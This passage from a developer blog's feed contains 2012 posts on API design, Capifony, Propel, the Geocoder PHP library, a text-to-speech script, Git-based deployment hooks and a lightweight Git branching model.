A <code class="language-plaintext highlighter-rouge">500</code> status code doesnāt have the same meaning than a <code class="language-plaintext highlighter-rouge">400</code>.</p>
<h3 id="documentation">Documentation</h3>
<p>Having a well documented API is really important, because itās the only thing
your clients will have access to. You donāt provide the entire code to them,
there is just an endpoint and documentation.</p>
<p>In a HATEOAS approach, your API is auto documented, so you donāt need to write
the documentation yourself, because your clients will discover features
themselves.</p>
<p>But then again, having a HATEOAS API is quite complex, and itās not so
widespread nowadays. If your API follows the level 2 of the Richardsonās model,
itās already good, but you will have to write the documentation yourself!</p>
<p>NelmioApiDocBundle to the rescue! I wrote this bundle at
<a href="http://nelm.io">Nelmio</a> in order to automatically generate documentation for
our APIs. Based on code introspection, the bundle extracts a lot of information,
and displays a nice page with all information found.</p>
<p>You now have all keys to build wonderful APIs!</p>
<h3 id="useful-links">Useful LinksĀ </h3>
<ul>
<li><a href="http://www.w3.org/Protocols/rfc2616/rfc2616-sec10.html">RFC 2616 - Section 10 - Status Code
Definitions</a>;</li>
<li><a href="http://tools.ietf.org/html/rfc2068#page-156">RFC 2068 - Section 19.6 - Additional
Features</a>;</li>
<li><a href="http://tools.ietf.org/html/rfc5988">RFC 5988 - Web Linking</a>.</li>
</ul>
<p>I will probably update this post with more information, links, etc. So stay tuned!</p>
Capifony, the cool Capistrano recipes for Symfony applications2012-06-22T00:00:00+00:00https://williamdurand.fr/2012/06/22/capifony-the-cool-capistrano-recipes-for-symfony-applications<p>For the past two years, I have been using <a href="https://github.com/capistrano/capistrano">Capistrano</a> to deploy my
applications, even if I sometimes rely on <a href="/2012/02/25/deploying-with-git/">Git to deploy</a> some of them.</p>
<p>Capistrano is fantastic! Itās a framework to run commands over SSH. You
configure the process to deploy your application once and it will work for all
servers.</p>
<p>Capistrano is extensible. You can write your own recipes to avoid repeating
yourself. Thatās what I did for a long time for my symfony 1.x projects. I never
had any issues with this recipe.</p>
<p>For my Symfony (2.x) applications, I didnāt have to write anything, though. Not
because Iām lazy but because a wonderful project called <em>capifony</em> already
exists!</p>
<p>Capifony is a set of recipes for both symfony 1.x and Symfony (2.x)
applications. This project has been created by my friend @everzet and sponsored
by KnpLabs.</p>
<p>This week, Iām really proud to announce that Konstantin gave me the keys of this
project so that I can maintain and improve it. I released <a href="https://rubygems.org/gems/capifony">capifony
2.1.7</a> yesterday with a bunch of fixes as
well as new features. In the next weeks, I will work on updating the
documentation.</p>
<p>The project is hosted on GitHub:
<a href="https://github.com/everzet/capifony">https://github.com/everzet/capifony</a>. As
usual, feel free to contribute :-) To ease contributions on the documentation,
Iāve added the nice āFork & Editā feature:</p>
<p><img src="/images/posts/2012/06/fork_and_edit_capifony.webp" alt="" /></p>
<p>Donāt hesitate to contribute or report issues. Your feedback is precious!
Thanks!</p>
Introduction to Propel2 at Symfony Live 20122012-06-08T00:00:00+00:00https://williamdurand.fr/2012/06/08/introduction-to-propel2-at-symfony-live-2012<p>Here are my slides for the talk I gave this morning at <a href="https://live.symfony.com/">Symfony Live
2012</a> in Paris.</p>
<script class="speakerdeck-embed" data-id="4fd1d178469d200187014dff" data-ratio="1.3333333333333333" src="//speakerdeck.com/assets/embed.js"></script>
<p></p>
<p>If you attended this conference, please leave a feedback on
<a href="https://joind.in/talk/view/6589">joind.in</a>. Cheers!</p>
Geocoder: the missing PHP library2012-05-31T00:00:00+00:00https://williamdurand.fr/2012/05/31/geocoder-the-missing-php5-library<p>Seven months ago, I released <a href="https://github.com/willdurand/Geocoder">Geocoder</a>, a PHP 5.3+ library to ease geocoding
manipulations. More and more applications have to deal with geolocation and,
even if HTML5 provides a <a href="https://www.w3.org/TR/geolocation/">Geolocation API</a>, a server-side library is always
useful. Today, this library has more than 230 watchers on GitHub and itās time
to introduce it here.</p>
<p>The library is standalone and split in two parts: <code class="language-plaintext highlighter-rouge">HttpAdapters</code>, which
are responsible for getting data from remote APIs, and <code class="language-plaintext highlighter-rouge">Providers</code>, which own
the logic to extract information.</p>
<h2 id="adapters">Adapters</h2>
<p>There are many adapters to use Geocoder with, like
<a href="https://github.com/kriswallsmith/Buzz">Buzz</a>,
<a href="https://www.php.net/manual/en/book.curl.php">cURL</a>,
<a href="https://github.com/guzzle/guzzle">Guzzle</a> and the Zend Http Client. If you want
to use another HTTP layer, you can easily write your own provider by implementing
the <code class="language-plaintext highlighter-rouge">HttpAdapterInterface</code> interface.</p>
<h2 id="providers">Providers</h2>
<p>The most important part of Geocoder is probably all its providers: FreeGeoIp,
<a href="https://www.hostip.info/">HostIp</a>, <a href="https://www.ipinfodb.com/">IpInfoDB</a>, Yahoo! PlaceFinder, <a href="https://developers.google.com/maps/documentation/geocoding/">Google Maps</a>, <a href="https://docs.microsoft.com/en-us/bingmaps/rest-services/locations/">Bing Maps</a>,
<a href="https://nominatim.openstreetmap.org/ui/search.html">OpenStreetMaps</a>, CloudMade, and even <a href="https://www.php.net/manual/en/book.geoip.php">Geoip</a>, the PHP extension. Same thing
here, you can easily write your own provider by implementing the
<code class="language-plaintext highlighter-rouge">ProviderInterface</code> interface.</p>
<p>Geocoder supports both geocoding and reverse geocoding. It depends on the
provider you choose and also what you want to do. The API is really simple:</p>
<div class="language-php highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp"><?php</span>
<span class="nv">$geocoder</span> <span class="o">=</span> <span class="k">new</span> <span class="err">\</span><span class="nf">Geocoder\Geocoder</span><span class="p">();</span>
<span class="nv">$adapter</span> <span class="o">=</span> <span class="k">new</span> <span class="err">\</span><span class="nf">Geocoder\HttpAdapter\BuzzHttpAdapter</span><span class="p">();</span>
<span class="nv">$geocoder</span><span class="o">-></span><span class="nf">registerProviders</span><span class="p">(</span><span class="k">array</span><span class="p">(</span>
<span class="k">new</span> <span class="err">\</span><span class="nf">Geocoder\Provider\YahooProvider</span><span class="p">(</span><span class="nv">$adapter</span><span class="p">,</span> <span class="s1">'API_KEY'</span><span class="p">),</span>
<span class="p">));</span>
<span class="c1">// IP based</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$geocoder</span><span class="o">-></span><span class="nf">geocode</span><span class="p">(</span><span class="s1">'88.188.221.14'</span><span class="p">);</span>
<span class="c1">// Street address based</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$geocoder</span><span class="o">-></span><span class="nf">geocode</span><span class="p">(</span><span class="s1">'10 rue Gambetta, Paris, France'</span><span class="p">);</span>
<span class="c1">// reverse geocoding</span>
<span class="nv">$result</span> <span class="o">=</span> <span class="nv">$geocoder</span><span class="o">-></span><span class="nf">reverse</span><span class="p">(</span><span class="nv">$latitude</span><span class="p">,</span> <span class="nv">$longitude</span><span class="p">);</span>
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">$result</code> variable is an instance of <a href="https://github.com/willdurand/Geocoder/blob/master/src/Geocoder/Result/ResultInterface.php"><code class="language-plaintext highlighter-rouge">ResultInterface</code></a>.
Again, the API is simple.</p>
<h2 id="dumpers">Dumpers</h2>
<p>Another feature provided by Geocoder is the ability to dump a <code class="language-plaintext highlighter-rouge">ResultInterface</code>
object in standard formats like GPS eXchange (GPX), <a href="https://geojson.org/">GeoJSON</a>, <a href="https://en.wikipedia.org/wiki/Keyhole_Markup_Language">Keyhole Markup
Language</a> (KML), Well-Known Binary (WKB) or Well-Known Text (WKT). This is
too small to become a separated library and it can be helpful if you need to
share geolocated data.</p>
<h2 id="conclusion">Conclusion</h2>
<p>Geocoder is quite stable now. It is well integrated with <a href="http://propelorm.org/">Propel</a> thanks to
the <a href="https://github.com/willdurand/GeocodableBehavior">GeocodableBehavior</a> and with <a href="https://www.doctrine-project.org/">Doctrine</a> thanks to the <a href="https://github.com/KnpLabs/DoctrineBehaviors#geocodable">DoctrineBehaviors</a>.
Both behaviors are really powerful. Install them and your model objects
(entities) become geo-aware! For Drupal folks, <a href="https://www.drupal.org/node/1334838">the geocoder module should use
Geocoder</a> sooner or later.</p>
<p>Geocoder has more than ten contributors (thank you so much!!!). It is actively
maintained and already used in production! Oh and itās well unit tested, with
more than a hundred tests and almost a thousand assertions!</p>
<p>If you plan to deal with geocoding stuff in your PHP project, you should give
Geocoder a try ;)</p>
<h2 id="links">Links</h2>
<ul>
<li><a href="https://geocoder-php.org/">The Geocoder website</a></li>
<li><a href="https://github.com/willdurand/Geocoder">The GitHub repository</a></li>
</ul>
Propel and Symfony: a year ago2012-04-25T00:00:00+00:00https://williamdurand.fr/2012/04/25/propel-and-symfony-a-year-ago<p>Did you know that the <a href="https://github.com/propelorm/PropelBundle">PropelBundle</a> was part of the Symfony core? Yes, at the
very beginning. It was moved out some time after. Basically, I didnāt create the
<em>PropelBundle</em> but I started to learn Symfony by using it.</p>
<blockquote>
<p>Hi,</p>
<p>You seem to work on the PropelBundle actively, and thatās great news. This
bundle is under my account right now because it is orphan. But if you want
to take care of the maintenance of it, then I think itās time for your fork
to become the official repository for the bundle. What do you think?</p>
<p>Fabien</p>
</blockquote>
<p>To be honest, this bundle didnāt really work and I spent a fair amount of time
to learn Symfony internals, learn Propel 1.6 internals and find ways to make
this bundle work š It was fun! After a few weeks, the bundle became useful and,
at the same time, I joined <a href="https://en.wikipedia.org/wiki/TF1">e-TF1</a> where I had the opportunity to work with
both Symfony and Propel. I could use this bundle in production!</p>
<p>A few months later, I accepted to take the lead of the Propel project and I
added the PropelBundle as an official Propel project. It was the best choice
because people helped me a lot to improve this bundle, and now it is fully
compatible with Symfony (kudos to <a href="https://github.com/havvg">Toni</a> who is the
PropelBundle manager). To spread the word, I also wrote exhaustive <a href="http://www.propelorm.org/documentation/#working_with_symfony2">documentation
about Propel and Symfony</a>.</p>
<p>Making this bundle reliable and trustful was the hardest part of the work. Even
if the bundle worked great and even if we were there to answer questions or to
fix issues, it was tricky to get more users. Thatās why I asked Fabien to create
a <a href="https://github.com/symfony/propel1-bridge">Propel Bridge</a> in Symfony. It was
the first step to avoid comments like āitās not the default ORM, lalalaā. At
the same time, Symfony took the decision to be a <em>View Controller</em> framework
without any <em>Model</em> layer bundled by default.</p>
<p><strong>Today</strong>, Iām proud to announce that the last step has been unlocked thanks to
<a href="https://github.com/rouffj">Joseph</a>. <strong>Propel has its own chapter in the official
Symfony book</strong>, which means you have to think about which <em>Model</em> layer to use
now. There is no more excuse to not try Propel in Symfony or to use Doctrine by
default and not by choice.</p>
<p>Try Propel, seriously! It could fit your needs depending on what you expect. Some
great bundles already support Propel (like the FOSUserBundle). Also please avoid
comments like āDoctrine is much nicerā, which make little sense. Why is it much
nicer? I never got any good arguments in favor of Doctrine I didnāt already know.
I can hear everything that is constructive. I used Doctrine for more than six
months, both ORM and ODM (MongoDB). I have strong arguments against it but I also
like some parts of it. Who can say the same thing about Propel?</p>
<p>Now, you have the choice. Itās up to you. Thanks!</p>
I will be speaking at Symfony Live 20122012-04-11T00:00:00+00:00https://williamdurand.fr/2012/04/11/i-will-be-speaking-at-symfony-live-2012<p>Heya, Iām glad to announce that I will be speaking at <a href="https://live.symfony.com/">Symfony Live 2012</a>
in Paris on June 7-8th, 2012.</p>
<p>I will introduce <a href="https://github.com/propelorm/Propel2">Propel2</a>, the new upcoming version of the <a href="http://propelorm.org/">Propel ORM</a>.
I will probably explain the Propel philosophy and then more details about how
Propel works in real life, how itās built, and some other things you will discover
if you attend my talk.</p>
<p>To be honest, it will be my very first talk at a conference so I decided to do it
in French. I know some people complained about that but Iām not comfortable enough
with my English level to give a talk in English. That being said, I will write my
slides in English. That way, it should still be possible for those who donāt speak
French to follow my presentation.</p>
<p>Hope to see you there!</p>
Converting my blog posts to audio files2012-02-29T00:00:00+00:00https://williamdurand.fr/2012/02/29/converting-my-blog-posts-to-audio-files<p>Yesterday, I discovered the <code class="language-plaintext highlighter-rouge">say</code> command on my Mac. Its aim is to convert text
to audible speech and that works really well. Then, I had the idea of creating
audio files from my blog posts because (1) itās fun and (2) it could possibly
improve accessibility on this website.</p>
<p>The <code class="language-plaintext highlighter-rouge">say</code> command generates <code class="language-plaintext highlighter-rouge">aiff</code> audio files but that isnāt supported by the
<code class="language-plaintext highlighter-rouge">audio</code> HTM5 tag. I converted the <code class="language-plaintext highlighter-rouge">aiff</code> files to <code class="language-plaintext highlighter-rouge">mp3</code> using the well-known
<a href="https://ffmpeg.org/">ffmpeg</a> tool.</p>
<p>Please welcome <a href="https://github.com/willdurand/Speaker">Speaker</a>, my fun work
from last evening! <strong>Speaker</strong> aims to convert my blog posts written in markdown
to <code class="language-plaintext highlighter-rouge">mp3</code> files. It is a tiny shell script I enjoyed writing.</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code>USAGE:
./speaker <span class="o">[</span><span class="nt">-h</span><span class="o">]</span> <span class="o">[</span><span class="nt">-d</span> <output directory>] <filename>
</code></pre></div></div>
<p>I used <a href="https://github.com/bmizerany/roundup">roundup</a> to test it. I love shell
scripts but writing them without any tests is a pain, there is often a condition
that is not good, a typo, or something else. That often makes me crazyā¦ Well,
problem solved with <strong>roundup</strong>! Here is my test suite output:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>./speaker-test.sh
speaker
it_shows_help_with_no_argv: <span class="o">[</span>PASS]
it_shows_help_with_h_option: <span class="o">[</span>PASS]
it_creates_mp3_file: <span class="o">[</span>PASS]
it_creates_mp3_file_in_existing_directory: <span class="o">[</span>PASS]
it_creates_mp3_file_in_new_directory: <span class="o">[</span>PASS]
<span class="o">=========================================================</span>
Tests: 5 | Passed: 5 | Failed: 0
</code></pre></div></div>
<p>To sanitize the text to speech, I used some regular expressions. It probably
needs some improvements but it works pretty well:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c"># Sanitize markdown content</span>
<span class="nv">content</span><span class="o">=</span><span class="sb">`</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$content</span><span class="s2">"</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/[\*_]//g'</span><span class="sb">`</span>
<span class="nv">content</span><span class="o">=</span><span class="sb">`</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$content</span><span class="s2">"</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/\[\(.*\)\](\(.*\))/\1/g'</span><span class="sb">`</span>
<span class="nv">content</span><span class="o">=</span><span class="sb">`</span><span class="nb">echo</span> <span class="s2">"</span><span class="nv">$content</span><span class="s2">"</span> | <span class="nb">sed</span> <span class="nt">-e</span> <span class="s1">'s/:[p|D]/./g'</span><span class="sb">`</span>
...
</code></pre></div></div>
<p>For the other parts, you can take a look at <a href="https://github.com/willdurand/Speaker/blob/master/speaker">the
code</a> :)</p>
<p>Because I wanted to expose these audio files on this website, I tweaked the
template to integrate an <code class="language-plaintext highlighter-rouge">audio</code> tag. I also used
<a href="https://github.com/etianen/html5media">html5media</a> to render this tag in all
major browsers (I donāt know if there is a better solution).</p>
<div class="language-html highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nt"><audio</span> <span class="na">src=</span><span class="s">"/mp3/my-blog-title.mp3"</span> <span class="na">controls</span> <span class="na">preload</span><span class="nt">></audio></span>
</code></pre></div></div>
<p>Last, to automagically generate audio files, I wrote a
<a href="https://github.com/willdurand/Speaker/blob/master/hooks/pre-commit">pre-commit</a>
script to build the audio file when I commit blog posts.</p>
<p>Thatās all folks!</p>
Deploying with Git2012-02-25T00:00:00+00:00https://williamdurand.fr/2012/02/25/deploying-with-git<p>I often rely on <a href="https://github.com/capistrano/capistrano/wiki/">Capistrano</a> to
deploy web applications. I already talked about this tool in my previous blog.
In this article, I am going to describe a simpler approach to deploy simple
apps.</p>
<p>When you need to deploy a simple web application on a server, like this blog for
instance, there is no need to use Capistrano or <a href="https://docs.fabfile.org/">Fabric</a>. We mainly want a way
to copy a set of files and one could rely on <code class="language-plaintext highlighter-rouge">rsync</code> or <code class="language-plaintext highlighter-rouge">scp</code>ā¦ How boring!</p>
<p>An alternative is to rely on <strong>Git</strong>, assuming you are using it. But how?</p>
<p>The first step is to configure the local repository by adding a new remote:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git remote add -t master production ssh://<server>/path/to/project_prod
</code></pre></div></div>
<p>The <code class="language-plaintext highlighter-rouge">-t <branch></code> option allows to track a given branch instead of all branches.
You can add more remotes if you want, like a <code class="language-plaintext highlighter-rouge">testing</code> remote for instance:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git remote add testing ssh://<server>/path/to/project_test
</code></pre></div></div>
<p>To deploy the application to <strong>production</strong>, run:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git push production
</code></pre></div></div>
<p>To deploy the application to a <strong>testing</strong> environment, run:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>git push testing <branch>
</code></pre></div></div>
<p>At the moment, you can push your code to your server but it wonāt deploy your
changes. We need to configure Git. First, add the following lines to the
<code class="language-plaintext highlighter-rouge">.git/config</code> file:</p>
<pre><code class="language-gitconfig">[receive]
denyCurrentBranch = false
</code></pre>
<p>This allows to push code to the current branch, which is important to deploy
your new changes. Old Git versions donāt need to set this parameter by the way.</p>
<p>Then, create and enable a <code class="language-plaintext highlighter-rouge">post-receive</code> hook with the following content:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="c">#!/usr/bin/env bash</span>
<span class="nv">SUBJECT</span><span class="o">=</span><span class="s2">"Deploy successful"</span>
<span class="nv">BODY</span><span class="o">=</span><span class="s2">"You've successfully deployed the branch:"</span>
<span class="k">while </span><span class="nb">read </span>oldrev newrev ref
<span class="k">do
</span><span class="nv">branch</span><span class="o">=</span><span class="sb">`</span><span class="nb">echo</span> <span class="nv">$ref</span> | <span class="nb">cut</span> <span class="nt">-d</span>/ <span class="nt">-f3</span><span class="sb">`</span>
<span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$branch</span><span class="s2">"</span> <span class="o">]</span> <span class="p">;</span> <span class="k">then
</span><span class="nb">cd</span> ..
<span class="nb">env</span> <span class="nt">-i</span> git checkout <span class="nv">$branch</span>
<span class="nb">env</span> <span class="nt">-i</span> git reset <span class="nt">--hard</span>
<span class="nv">EMAIL</span><span class="o">=</span><span class="sb">`</span><span class="nb">env</span> <span class="nt">-i</span> git log <span class="nt">-1</span> <span class="nt">--format</span><span class="o">=</span>format:%ae HEAD<span class="sb">`</span>
<span class="nv">BODY</span><span class="o">=</span><span class="s2">"</span><span class="nv">$BODY</span><span class="s2"> </span><span class="nv">$branch</span><span class="s2">."</span>
<span class="nb">echo</span> <span class="s2">"</span><span class="nv">$BODY</span><span class="s2">"</span> | mail <span class="nt">-s</span> <span class="s2">"</span><span class="nv">$SUBJECT</span><span class="s2">"</span> <span class="s2">"</span><span class="nv">$EMAIL</span><span class="s2">"</span>
<span class="k">fi
done</span>
</code></pre></div></div>
<p>This script updates the working tree after changes have been pushed, and send an
email to the last committer. Keep in mind that it always deploys the last branch
you push.</p>
<p>The important part is:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nb">cd</span> ..
<span class="nb">env</span> <span class="nt">-i</span> git checkout <span class="nv">$branch</span>
<span class="nb">env</span> <span class="nt">-i</span> git reset <span class="nt">--hard</span>
</code></pre></div></div>
<p>Feel free to ādecorateā these three lines as you wish.</p>
<p>For example, for the <strong>production</strong> environment (or because you are using a <a href="/2012/01/17/my-git-branching-model/">Git
Branching Model</a>), you should modify the
previous script to make sure that you only deploy the <code class="language-plaintext highlighter-rouge">master</code> branch:</p>
<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code> <span class="k">if</span> <span class="o">[</span> <span class="s2">"</span><span class="nv">$branch</span><span class="s2">"</span> <span class="o">==</span> <span class="s2">"master"</span> <span class="o">]</span> <span class="p">;</span> <span class="k">then
</span><span class="nb">cd</span> ..
<span class="c"># env -i git checkout $branch</span>
<span class="nb">env</span> <span class="nt">-i</span> git reset <span class="nt">--hard</span>
<span class="c"># Send an email</span>
<span class="k">fi</span>
</code></pre></div></div>
<p>Youāre done! Each time youāll execute <code class="language-plaintext highlighter-rouge">git push production</code>, youāll deploy your
application to your production environment. Easy. Fast. Powerful.</p>
Component Driven Development: it's like Lego!2012-02-01T00:00:00+00:00https://williamdurand.fr/2012/02/01/component-driven-development-it-s-like-lego<p>Did you ever hear about <strong>Component-Based Development</strong>? Maybe about <strong>Component
Driven Development</strong>? Both concepts are the same, and if youāve worked with
<em>Symfony</em>, <em>Spring</em> or similar frameworks, then chances are youāve already done
<strong>Component Driven Development</strong> (<strong>CDD</strong>).</p>
<p>Itās all about <strong>separation of concerns</strong>. You design components with their own
logic. Each component does <strong>one thing well</strong> and <strong>only one thing</strong> (that is
also the Unix philosophy). Separating business logic in self-contained
components requires to focus on interactions between components. In other words,
you have to think in terms of interfaces and boundaries.</p>
<p><a href="https://en.wikipedia.org/wiki/Unified_Modeling_Language">UML</a> provides a <strong>component diagram</strong> that allows you to easily identify the
components, interfaces and their relations. This could be a useful tool. In a
UML component diagram, a provided interface is modeled using the lollipop
notation and a required interface is modeled using the socket notation.</p>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2012/02/compoent-diagram.webp" alt="A simplified example of a component diagram" />
<em>Simplified example of a UML component diagram</em></p>
<p>As I wrote previously, you are most likely already familiar with Component
Driven Development if you know <em>Symfony</em> or <em>Spring</em>. Why? Because these two
frameworks use the <a href="https://martinfowler.com/bliki/InversionOfControl.html"><strong>Inversion of Control</strong></a> (IoC) architectural pattern
<em>via</em> the <strong>Dependency Injection</strong> design pattern (I consider IoC an
architectural pattern because itās not a design pattern you can implement).</p>
<p>There are two known issues with IoC, though. First, you need a way to manage
dependencies between components. Second, how do you instantiate all these
components (in which order for instance)? <strong>Dependency Injection Container</strong>
(DIC) to the rescue! A (service) container requires some configuration that
essentially describes the dependencies between components. Checkout the <a href="https://symfony.com/doc/current/components/dependency_injection.html">Symfony
docs about Dependency Injection</a> for more technical information.</p>
<p>With that, the two issues I just mentioned are solved and you can now write
highly decoupled code. The main drawback is the time youāll have to spend
thinking about your architecture and component interactions. This is where the
UML component diagram can be helpful ;-)</p>
<p>Thanks to a framework that provides abstractions such as a DIC, you can start
āassemblingā an app by reusing existing components (i.e. libraries) to avoid
writing everything from scratch. See why it is like Lego now?</p>
<p>In the PHP world, we have magic tools like:</p>
<ul>
<li><a href="http://fabien.potencier.org/what-is-symfony2.html">The Symfony components</a>: a reusable set of standalone PHP components</li>
<li><a href="https://getcomposer.org/">Composer</a>: the awesome package manager for PHP</li>
<li><a href="https://packagist.org/">Packagist</a>: the official registry to discover great PHP libraries</li>
</ul>
<p>Less time wasted writing āframework codeā, more time spent writing
business-oriented code and āglue codeā for the existing components you use
directly āas-isā, yay!</p>
Designing software by naming things2012-01-24T00:00:00+00:00https://williamdurand.fr/2012/01/24/designing-software-by-naming-things<blockquote>
<p>There are only two hard things in Computer Science: cache invalidation and
naming things.</p>
<p><em>Phil Karlton</em></p>
</blockquote>
<p><strong>Naming things</strong> is hard, thatās right, but finding the <strong>right names</strong> is even
harder!</p>
<p>When I start the process of creating a new application, the first step is often
to rely on some sort of specifications, e.g., <a href="http://en.wikipedia.org/wiki/Unified_Modeling_Language">UML</a> diagrams. This forces me
to think before to code, what a nice idea!</p>
<p>A <em>class diagram</em> is probably the most useful UML diagram. A first step could be
to find package names and see how I can connect them. This will give me the main
components of the application like the <em>controllers</em>, <em>services</em> or <em>models</em> for
example. At this level, separating concerns is usually straightforward. The
<em>Model-View-Controller</em> (MVC) design pattern is a great example.</p>
<p>Once the main packages have been defined, I need to find class names. To help me
find the right names, I tend to identify <strong>interfaces</strong> first. An interface
describes a contract between two components. Thinking in terms of interfaces
forces me to think about the interactions between components. Interface-based
programming is a nice way to design an application.</p>
<p>My rule of thumb is: when I am not able to find a name for a class, I ask myself
whether this class makes sense, or if I can decouple things a bit more. A
āwrongā or āobscureā name often leads to errors. When I am not satisfied with
some naming, it is usually because something is not quite right and I try to
understand why.</p>
<p>To get better at naming things, I take inspiration by reading good code. Thanks
to <a href="http://www.github.com">GitHub</a>, itās easy to find and read code written by talented folks. As a
PHP developer, I often use <a href="http://www.github.com/symfony/symfony">Symfony</a> naming in my own projects.</p>
<p>This is how I design software by naming things :)</p>
My Git branching model2012-01-17T00:00:00+00:00https://williamdurand.fr/2012/01/17/my-git-branching-model<p>We all probably know <a href="http://nvie.com/posts/a-successful-git-branching-model/">this successful Git branching
model</a>, which looks like a very interesting model for
teams that want to use Git. That being said, this model is a bit too complex for
common needs in my opinion. In this article, I introduce my lightweight model.</p>
<p>I use two main branches:</p>
<ul>
<li><code class="language-plaintext highlighter-rouge">main</code> : the code in a <em>production-ready</em> state;</li>
<li><code class="language-plaintext highlighter-rouge">develop</code> : the <em>integration branch</em>.</li>
</ul>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2012/01/git-develop-main.webp" alt="" />
<em>Figure 1: Commits over time on two branches: ādevelopā and āmainā (based on
Vincent Driessenās similar illustration)</em></p>
<p>I also use <strong>feature branches</strong>. A feature branch contains a work in progress.
Keep in mind that a feature branch should reflect a feature in your backlog. I
use a convention for these branches, I always prefix them with <code class="language-plaintext highlighter-rouge">feat-</code>.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git branch
feat-my-feature
* main
</code></pre></div></div>
<p>A feature branch has two constraints:</p>
<ul>
<li>the code must be based on the <code class="language-plaintext highlighter-rouge">develop</code> branch;</li>
<li>the code must be merged in the <code class="language-plaintext highlighter-rouge">develop</code> branch.</li>
</ul>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2012/01/git-feature-branch.webp" alt="" />
<em>Figure 2: A feature branch next based on the ādevelopā branch (based on Vincent
Driessenās similar illustration)</em></p>
<p>To create a feature branch, I use the following command:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git checkout -b feat-my-feature develop
</code></pre></div></div>
<p>To merge a feature branch into <code class="language-plaintext highlighter-rouge">develop</code>, I use the following set of commands:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code># Go back to the develop branch
$ git checkout develop
# Get last commits
$ git pull --ff-only origin develop
# Switch to the feature branch
$ git checkout feat-my-feature
#Ā Time to rebase
$ git rebase develop
# Then, switch to the develop branch in order to merge the feature branch
$ git checkout develop
$ git merge --no-ff feat-my-feature
# Push
$ git push origin develop
# Finally, delete your branch
$ git branch -d feat-my-feature
</code></pre></div></div>
<p>I always merge a feature branch into <code class="language-plaintext highlighter-rouge">develop</code> using <code class="language-plaintext highlighter-rouge">--no-ff</code> to keep a clean
log:</p>
<p class="with-caption can-invert-image-in-dark-mode"><img src="/images/posts/2012/01/git-merge.webp" alt="" />
<em>Figure 3: The difference between <code class="language-plaintext highlighter-rouge">git merge</code> and <code class="language-plaintext highlighter-rouge">git merge --no-ff</code> (based on
Vincent Driessenās similar illustration)</em></p>
<p>The <code class="language-plaintext highlighter-rouge">--no--ff</code> option allows to keep track of a feature branch name which is
quite useful. The following <code class="language-plaintext highlighter-rouge">git log</code> output shows you a feature branch merged
with this option:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>commit 481771556824c4ae2e6da73ef14d6ce757fb5870
Merge: 6abdd70 8cfe5a7
Author: William Durand <email address>
Date: Tue Jan 17 11:31:56 2012 +0100
Merge branch 'feat-my-feature' into develop
commit 8cfe5a7da159663cc09a850bee49a59ce046c67e
Author: William Durand <email address>
Date: Tue Jan 17 11:31:19 2012 +0100
Added a new feature
commit 6abdd707aace50ee5aad72a3c6fcff2f36cdea7f
Author: William Durand <email address>
Date: Sun May 15 14:07:19 2011 +0200
Initial commit
</code></pre></div></div>
<p>Without the <code class="language-plaintext highlighter-rouge">--no-ff</code> option, youāll get the following output:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>commit 0d5805d52e55e4941ce23585a4cd559e5e643207
Author: William Durand <email address>
Date: Tue Jan 17 11:35:43 2012 +0100
Added yet another feature
commit 6abdd707aace50ee5aad72a3c6fcff2f36cdea7f
Author: William Durand <email address>
Date: Sun May 15 14:07:19 2011 +0200
Initial commit
</code></pre></div></div>
<p>In a team, you will probably have more than one feature branch, and you could
have a dependency between two branches (this should be avoided). In this case,
I use another branch in which I merge two or more feature branches.</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git checkout -b feat-my-feature-with-another-feature develop
</code></pre></div></div>
<p>Then, I can merge the two feature branches, and solve possible conflicts:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>$ git merge feat-my-feature
$ git merge feat-another-feature
</code></pre></div></div>
<p>I donāt use any other branches. The last part of the model is to merge <code class="language-plaintext highlighter-rouge">develop</code>
into <code class="language-plaintext highlighter-rouge">main</code>. To avoid conflicts, there should be only one person who owns
this responsibility: the <strong>release manager</strong>.</p>
<p>I experimented this model with different teams in terms of number of people and
skills, and I never had more needs. I know some people use <strong>release</strong> branches
but it can be handled in another way.</p>
Services status dashboard2012-01-16T00:00:00+00:00https://williamdurand.fr/2012/01/16/services-status-dashboard<p>Today, I was looking for an Open Source alternative to
<a href="http://www.pingdom.com/a1/">Pingdom</a> as I needed something free, customizable,
and lightweight. I love the <a href="http://status.github.com">GitHubās Status Panel</a>,
unfortunately they didnāt open source it.</p>
<p>This kind of application is somewhat simple. You need a crawler, and few rules
to know whether an application is alive or not. Additionally, you may want to
store results in order to make graphs or calculate uptime average. Before
writing such a tool myself, I tried to find existing projects on GitHub.</p>
